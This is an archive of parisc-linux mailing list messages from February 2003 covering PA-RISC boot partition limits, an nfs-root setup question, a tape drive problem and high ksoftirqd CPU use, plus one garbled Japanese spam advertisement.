	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h14JHfiX028110;
	Tue, 4 Feb 2003 14:17:41 -0500
Content-Disposition: inline
In-Reply-To: <20030204165754.GA23535@paul.bame>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17631

Paul, 	
	My root filesystem is 250MB. 

	parisc:~# df -kh
	Filesystem            Size  Used Avail Use% Mounted on
	/dev/sda2             231M   52M  168M  24% /
	/dev/sda5             1.9G  212M  1.6G  12% /var
	/dev/sda6             2.8G 1009M  1.7G  38% /usr

	Don't know if you saw the thread, but for some reason 2.5.58 
	boots, there are problems after, which is expected with a 
	development kernel, but it boots nonetheless and that is hopeful :) 

	Is there perhaps some other way I should be organizing my swap and
	filesystems ? I followed the instructions from
	http://www.parisc-linux.org/software/install.html. 

	Thanks



In another life Paul Bame wrote:

> On Mon, Feb 03, 2003 at 10:37:35AM -0500, Aaron St. Pierre wrote:
> > Yes, the boot partition is < 2GB. In fact here is the partion table as 
> > reported from fdisk. 
> > 
> > Disk /dev/sda: 9100 MB, 9100044288 bytes
> > 64 heads, 32 sectors/track, 8678 cylinders
> > Units = cylinders of 2048 * 512 = 1048576 bytes
> > 
> >    Device Boot    Start       End    Blocks   Id  System
> > /dev/sda1   *         1        29     29680   f0  Linux/PA-RISC boot
> > /dev/sda2            30       267    243712   83  Linux
> 
> Your TOC dump indicated a likely death in firmware, which is consistent
> with trying to load a kernel from beyond the 2G mark.  Indeed your
> /dev/sda2 ends past the 2G mark, so you can expect that sometimes
> it'll work and sometimes it won't.
> 
> 	-P
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 <rcw> liiwi: printk("CPU0 on fire\n");


From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: master <qweasd333@24i.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoGyhCMzAbJEJLfDFfS3hCKEZ8GyhC?=
 =?ISO-2022-JP?B?GyRCJDRNOztxJDckXiQ5GyhC?=
Date: Wed, 05 Feb 2003 18:45:35 +0900
Lines: 44
Approved: news@gmane.org
Message-ID: <20030205.0945350495@qweasd333-24i.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
X-Trace: ger.gmane.org 1416622189 21347 80.91.229.3 (22 Nov 2014 02:09:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  5 02:45:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from t-mta4.odn.ne.jp (mfep4.odn.ne.jp [143.90.131.182])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E1194829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Feb 2003 02:45:41 -0700 (MST)
Original-Received: from D9F8L41X ([61.209.161.151]) by t-mta4.odn.ne.jp with SMTP
          id <20030205094539857.QDNF.26728.t-mta4.odn.ne.jp@mta4.odn.ne.jp>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 5 Feb 2003 18:45:39 +0900
X-Mailer: DM Mailer Ver.1.2.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17632

<$B;v6H<T(B><$BAw?.<T(B>$B;38}!!(BDMmaster$B4k2h<R(B

$B!y!y!y!y!y!y!y!y!y!y!y!y9-9p!y!y!y!y!y!y!y!y!y!y!y!y(B

$B!!!!!!!Z$3$s$JJ}$O@'Hs$4AjCL$/$@$5$$![(B

$B!{%V%i%C%/$J$N$G$9$,!&!&!&(B
$B!{:DL3@0M}!&<+8JGK;:$7$F$7$^$C$?$N$G$9$,!&!&!&(B
$B!{?e>&Gd!&IwB/$J$N$G$9$,!&!&!&(B
$B!{5^$J=PHq!&B>E9$X$N;YJ'$$$,$"$k$N$G$9$,!&!&!&(B
$B>e5-0J30$K$b!"$*G:$_!&$4AjCL$,$"$kJ}!"@'Hs5$7Z$K$4O"Mm2<$5$$!#(B
$B"(#0#9#06bM;!">R2p20!"9b6bMx$NK=NO6bM;$J$I$K$4Cm0U2<$5$$!*!*(B

$B!!!!!!!!!!!!!!!!%U%j!<%@%$%"%k(B
$B!!!!!!!!!!#0#1#2#0!]#3#4!]#6#0#1#2(B

$B!!!!!!!!!!!!!!!!?75,<uIU;~4V(B
$B!!!!!!!!!!!!!!(BAM10:00$B!A(BPM8:00

$B!!!!!!!!!!!!%H%C%W%U%!%$%J%s%9(B

$B!!!!!!!!!!!!!J$4MxMQ$O7W2hE*$K!K(B
$B!!!!!!!!!!!!!!El5~ETEPO?2CLAE9(B
$B!!!!!!!!!!!!!!!!!!!!ET(B(1)25467

$B!y!y!y!y!y!y!y!y!y!y!y!y9-9p!y!y!y!y!y!y!y!y!y!y!y!y(B

$B"##D#MAw?.6H<T"#(BDMmaster$B4k2h<R(B
http://dm-master.sub.jp/
$B!Z$"$J$?$N#H#P@kEA$7$^$9![(B
$B!ZD6Dc2A3J#D#MHNGd!uAw?.![(B
$BFCDj>&<h0zK!;\9T5,B'!!(B
$B<u$1<h$j$r4uK>$7$J$$>l9g$NO"MmJ}K!J@<R$+$i$N9-9p%a!<%k$NG[?.Dd;_$r4uK>$N>l9g$O!"(B
$B7oL>$r!VG[?.Dd;_!W$H=q$-49$($3$N%a!<%k$rJV?.$7$F$/$@$5$$!#(B
$B$=$NJV?.85$N%"%I%l%9$KBP$9$kG[?.$ODd;_$$$?$7$^$9!#(B
taka777dm@24i.net









From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nfs-root question
Date: Wed, 5 Feb 2003 17:00:46 -0800 (PST)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0302051700390.6804-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622189 21348 80.91.229.3 (22 Nov 2014 02:09:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  5 18:00:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0251B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Feb 2003 18:00:30 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h161HJp25645
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Feb 2003 17:17:19 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h1610kv07649
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Feb 2003 17:00:46 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17633

Um, have any of you set up a nfs-root client with this hp-kernel?

My palo.conf has both root=/dev/nfs nfsroot=172.16.100.7:/share/hplinux

My dhcp server is serving all the info it needs, I even added a:
option root-path "/share/hplinux" to it.


My problem is that I keep getting a panic from not being able to mount
anything.

it keeps saying that root=
which I don't beleive it should...

the dir on the server is exported {I tested it by mounting it before
trying to boot with it}

The dhcpd.conf looks like:
-------------------------------------------------------------------------
option domain-name "eng.nateng.com";
option domain-name-servers 172.16.100.7;

option subnet-mask 255.255.255.0;
default-lease-time 259200;

subnet 172.16.100.0 netmask 255.255.255.0 {
	range	172.16.100.130		172.16.100.149;
	option	broadcast-address	172.16.100.255;
	option  routers                 172.16.100.191;
}

host	hptux	{
	hardware ethernet 08:00:09:8c:02:ae;
	fixed-address	hptux.eng.nateng.com;
	option root-path "/share/hplinux";
}

my palo.conf =
--commandline=2/ HOME=/ root=/dev/nfs nfsroot=172.16.100.7:/share/hplinux ip=both
--recoverykernel=/boot/vmlinux-2.4.17-32
--init-partitioned=/dev/sda

I've set up nfs-root/diskless clients before, but I am stuck on this...
Everything looks fine, except it looks like it is forgetting the root=
option.




From - Thu Nov 08 21:26:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Never mind..
Date: Wed, 5 Feb 2003 17:13:21 -0800 (PST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0302051712260.6804-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622190 21351 80.91.229.3 (22 Nov 2014 02:09:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  5 18:12:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33C6B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Feb 2003 18:12:30 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h161Trp25825
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Feb 2003 17:29:54 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h161DLj07661
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Feb 2003 17:13:21 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17634


Um, being the moron I am, I set the servers and such up right...
I forgot to turn on the root=nfs option under file systems in the kernel
setup...


You may burn the last email at your convience....



From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Yet another tar-triggered problem?
Date: Thu, 6 Feb 2003 12:11:10 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20030206101110.GV7503@aurinko.ntc.nokia.com>
References: <20030203154450.GO7503@aurinko.ntc.nokia.com> <20030203173057.GC17807@dsl2.external.hp.com> <20030204085502.GQ7503@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622190 21354 80.91.229.3 (22 Nov 2014 02:09:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ext Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 03:11:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B0C54829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 03:11:14 -0700 (MST)
Original-Received: from esvir05nok.ntc.nokia.com (esvir05nokt.ntc.nokia.com [172.21.143.37])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h16AA7211326
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Feb 2003 12:10:07 +0200 (EET)
Original-Received: from esebh003.NOE.Nokia.com (unverified) by esvir05nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T603f74aeb8ac158f2556a@esvir05nok.ntc.nokia.com>;
 Thu, 6 Feb 2003 12:11:11 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Thu, 6 Feb 2003 12:11:11 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h16ABAn03288;
	Thu, 6 Feb 2003 12:11:11 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <20030204085502.GQ7503@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 06 Feb 2003 10:11:11.0789 (UTC) FILETIME=[13212DD0:01C2CDC8]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17635

On Tue, Feb 04, 2003 at 10:55:02AM +0200, ext Nahkola Mikko wrote:
> On Mon, Feb 03, 2003 at 10:30:57AM -0700, ext Grant Grundler wrote:

> > > Is anyone interested in the hex dump?
> > Well, TBH, I'd be more interested in one from a 2.4.20 kernel.
> > Too much code has changed since 2.4.18.

> OK, I'll see if I can reproduce this on 2.4.20. 
> It would be nice to get a newer kernel to work in real use too... funny 
> that KDE should lock up though, that's not a symptom that I'd expect to 
> see.

Oh well. 2.4.20-pa23 looks quite good actually - no panic/HPMC yet, no 
matter what I do with the tape drive (but it still doesn't _work_ ... 
"/dev/st0: Input/output error" every time) and KDE works too. 

I'll see if it does that with another drive too.


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ksoftirqd in 2.4.20-pa23
Date: Thu, 6 Feb 2003 12:21:22 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20030206102122.GW7503@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622190 21359 80.91.229.3 (22 Nov 2014 02:09:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 03:21:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEA9A4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 03:21:26 -0700 (MST)
Original-Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h16AKK218523
	for <parisc-linux@lists.parisc-linux.org>; Thu, 6 Feb 2003 12:20:20 +0200 (EET)
Original-Received: from esebh001.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T603f7e0b4cac158f21083@esvir01nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Thu, 6 Feb 2003 12:21:25 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Thu, 6 Feb 2003 12:21:24 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h16ALM003300
	for parisc-linux@lists.parisc-linux.org; Thu, 6 Feb 2003 12:21:23 +0200 (EET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 06 Feb 2003 10:21:24.0563 (UTC) FILETIME=[805F1230:01C2CDC9]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17636

Now that there seems to be another generally useful kernel out (as in, 
usable for running KDE and such without lockups), there seems to be an 
interesting thing there...

Why is ksoftirqd_CPU0 taking almost all the free CPU time? Sure, it's 
nice 19, but still... and I don't remember having that on 2.4.18 nor on 
the other .19 and .20 versions that I tried. And of course it's all 
system time.

This is a typical state:

 12:16:28 up 23:32,  3 users,  load average: 1.11, 1.24, 1.20
104 processes: 102 sleeping, 2 running, 0 zombie, 0 stopped
CPU states:   1.2% user,  96.7% system,   0.9% nice,   1.2% idle
Mem:    774288K total,   770800K used,     3488K free,    51464K buffers
Swap:  1500152K total,     1936K used,  1498216K free,   624904K cached

  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
    3 root      20  19     0    0     0 RWN  87.5  0.0  1211m ksoftirqd_CPU0
16772 root      18  15  1196 1196   924 R N   9.4  0.1   0:02 top
 1006 mnahkola   9   0  9680 9380  8688 S     1.0  1.2  13:49 kdeinit
  153 daemon     9   0   652  652   532 S     0.1  0.0   1:38 portmap
16737 root       9   0  2236 2208  1896 S     0.1  0.2   0:00 sshd
    1 root       9   0   580  580   492 S     0.0  0.0   0:12 init
    2 root       9   0     0    0     0 SW    0.0  0.0   0:00 keventd
    4 root       9   0     0    0     0 SW    0.0  0.0   0:16 kswapd
    5 root       9   0     0    0     0 SW    0.0  0.0   0:00 bdflush
    6 root       9   0     0    0     0 SW    0.0  0.0   0:00 kupdated
    9 root       9   0     0    0     0 SW    0.0  0.0   0:00 scsi_eh_2
   10 root      -1 -20     0    0     0 SW<   0.0  0.0   0:00 mdrecoveryd
   11 root       9   0     0    0     0 SW    0.0  0.0   0:01 kjournald


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd in 2.4.20-pa23
Date: Thu, 6 Feb 2003 12:31:58 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <9A2A64BE-39C6-11D7-8ABC-0030656F07A2@esiee.fr>
References: <20030206102122.GW7503@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622191 21361 80.91.229.3 (22 Nov 2014 02:09:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  6 04:32:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7FCB4829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Feb 2003 04:32:01 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 5DFCE49C32; Thu,  6 Feb 2003 12:32:00 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 957B749BEA; Thu,  6 Feb 2003 12:31:58 +0100 (CET)
In-Reply-To: <20030206102122.GW7503@aurinko.ntc.nokia.com>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17637

parisc-linux.org/faq

On jeudi, f=E9v 6, 2003, at 11:21 Europe/Paris, Nahkola Mikko wrote:

> Now that there seems to be another generally useful kernel out (as in,
> usable for running KDE and such without lockups), there seems to be an
> interesting thing there...
>
> Why is ksoftirqd_CPU0 taking almost all the free CPU time? Sure, it's
> nice 19, but still... and I don't remember having that on 2.4.18 nor =
on
> the other .19 and .20 versions that I tried. And of course it's all
> system time.
>
> This is a typical state:
>
>  12:16:28 up 23:32,  3 users,  load average: 1.11, 1.24, 1.20
> 104 processes: 102 sleeping, 2 running, 0 zombie, 0 stopped
> CPU states:   1.2% user,  96.7% system,   0.9% nice,   1.2% idle
> Mem:    774288K total,   770800K used,     3488K free,    51464K=20
> buffers
> Swap:  1500152K total,     1936K used,  1498216K free,   624904K =
cached
>
>   PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
>     3 root      20  19     0    0     0 RWN  87.5  0.0  1211m=20
> ksoftirqd_CPU0
> 16772 root      18  15  1196 1196   924 R N   9.4  0.1   0:02 top
>  1006 mnahkola   9   0  9680 9380  8688 S     1.0  1.2  13:49 kdeinit
>   153 daemon     9   0   652  652   532 S     0.1  0.0   1:38 portmap
> 16737 root       9   0  2236 2208  1896 S     0.1  0.2   0:00 sshd
>     1 root       9   0   580  580   492 S     0.0  0.0   0:12 init
>     2 root       9   0     0    0     0 SW    0.0  0.0   0:00 keventd
>     4 root       9   0     0    0     0 SW    0.0  0.0   0:16 kswapd
>     5 root       9   0     0    0     0 SW    0.0  0.0   0:00 bdflush
>     6 root       9   0     0    0     0 SW    0.0  0.0   0:00 kupdated
>     9 root       9   0     0    0     0 SW    0.0  0.0   0:00 =
scsi_eh_2
>    10 root      -1 -20     0    0     0 SW<   0.0  0.0   0:00=20
> mdrecoveryd
>    11 root       9   0     0    0     0 SW    0.0  0.0   0:01 =
kjournald
>
>
> --=20
> Mikko Nahkola   <mikko.nahkola@nokia.com>
> Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:26:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd in 2.4.20-pa23
Date: Thu, 6 Feb 2003 14:20:53 +0200
Lines: 19
Approved: news@gmane.org
